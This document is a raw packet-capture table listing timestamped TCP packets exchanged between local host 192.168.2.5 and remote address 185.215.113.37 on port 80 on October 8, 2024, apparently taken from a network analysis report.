Oct 8, 2024 11:18:27.572843075 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.572846889 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.572846889 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.572846889 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.572859049 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.572873116 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.572912931 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.572912931 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.572912931 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573013067 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573146105 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573304892 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573318958 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573333025 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573348045 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573363066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573368073 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573368073 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573378086 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573394060 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573407888 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573419094 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573419094 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573419094 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573425055 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573447943 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573462009 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573476076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573497057 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573503017 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573503017 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573503017 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573518991 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573519945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573534012 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573548079 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573561907 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573566914 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573566914 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573576927 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573592901 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573594093 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573594093 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573611021 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573626041 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573626995 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573642969 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573659897 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573659897 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573673010 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573678017 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573683977 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573685884 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573688030 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573695898 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573709011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573715925 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573728085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573744059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573759079 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573761940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573761940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573782921 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573795080 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573800087 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573822021 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573827982 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573827982 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573838949 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573853970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573864937 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573864937 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573868036 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573882103 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573894024 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573894024 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573896885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573913097 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573928118 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573944092 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573944092 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573951006 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573966980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573975086 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573982000 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.573983908 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573983908 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.573990107 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574007034 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574023008 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574034929 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574048996 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574063063 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574074030 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.574074984 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574090004 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574105024 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574114084 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.574114084 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.574119091 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574134111 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574145079 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.574150085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574167013 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574166059 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.574182987 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574197054 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574219942 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574222088 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574223042 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574229002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574229956 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.574229956 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.574229956 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.574244022 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574259043 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574263096 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.574275970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574290037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574301004 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.574316025 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574331999 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574346066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574347019 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.574347019 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.574362040 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574387074 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.574387074 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.574448109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574453115 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574455976 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574464083 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574479103 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574492931 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574510098 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574522972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.574522972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.574522972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.574525118 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574541092 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574557066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574564934 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.574564934 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.574573040 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574589014 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574601889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.574640036 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.574640036 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.574640036 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581223965 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581248045 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581263065 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581290960 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581290960 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581384897 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581401110 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581414938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581428051 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581428051 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581429005 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581442118 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581445932 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581461906 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581475973 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581480026 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581480026 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581491947 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581491947 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581513882 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581535101 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581557035 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581572056 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581573963 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581573963 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581573963 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581585884 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581608057 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581629038 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581643105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581651926 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581651926 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581651926 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581659079 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581675053 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581687927 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581701994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581706047 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581706047 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581706047 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581721067 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581722021 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581739902 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581754923 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581767082 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581767082 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581768036 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581768990 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581784964 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581800938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581814051 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581814051 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581814051 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581856012 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581871033 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581885099 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581907034 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581914902 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581914902 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581914902 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581923008 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581937075 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581940889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581957102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581971884 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.581985950 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581985950 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.581985950 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.582076073 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.582076073 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.609710932 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.609734058 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.609749079 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.609762907 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.609777927 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.609792948 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.609802008 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.609807968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.609817982 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.609831095 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.609833956 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.609847069 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.609862089 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.609884977 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.609890938 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.609890938 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.609890938 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.609893084 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.609900951 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.609906912 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.609915018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.609927893 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.609942913 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.609946966 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.609946966 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.609946966 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.609957933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.609972954 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.609987020 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.609992027 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.609992027 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610002041 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610013962 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610018969 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610037088 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610052109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610071898 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610080004 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610084057 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610084057 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610084057 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610095024 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610116959 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610131979 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610135078 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610135078 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610146999 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610161066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610174894 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610188007 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610203028 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610203981 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610203981 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610203981 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610251904 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610251904 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610275984 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610502005 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610516071 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610529900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610543013 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610558033 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610568047 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610568047 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610568047 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610574007 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610589981 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610641956 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610641956 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610641956 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610663891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610678911 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610693932 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610708952 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610722065 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610737085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610742092 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610742092 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610742092 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610753059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610778093 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610795021 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610795021 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610795021 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610799074 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610810041 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610825062 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610841036 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610855103 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610865116 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610865116 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610866070 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610872030 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610887051 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610899925 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610899925 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610918999 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610932112 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.610961914 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610976934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.610991001 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.611005068 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.611062050 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.611062050 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.611062050 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.611180067 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.611195087 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.611216068 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.611229897 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.611237049 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.611251116 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.611264944 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:27.611264944 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:27.611264944 CEST	49706	80	192.168.2.5	185.215.113.37
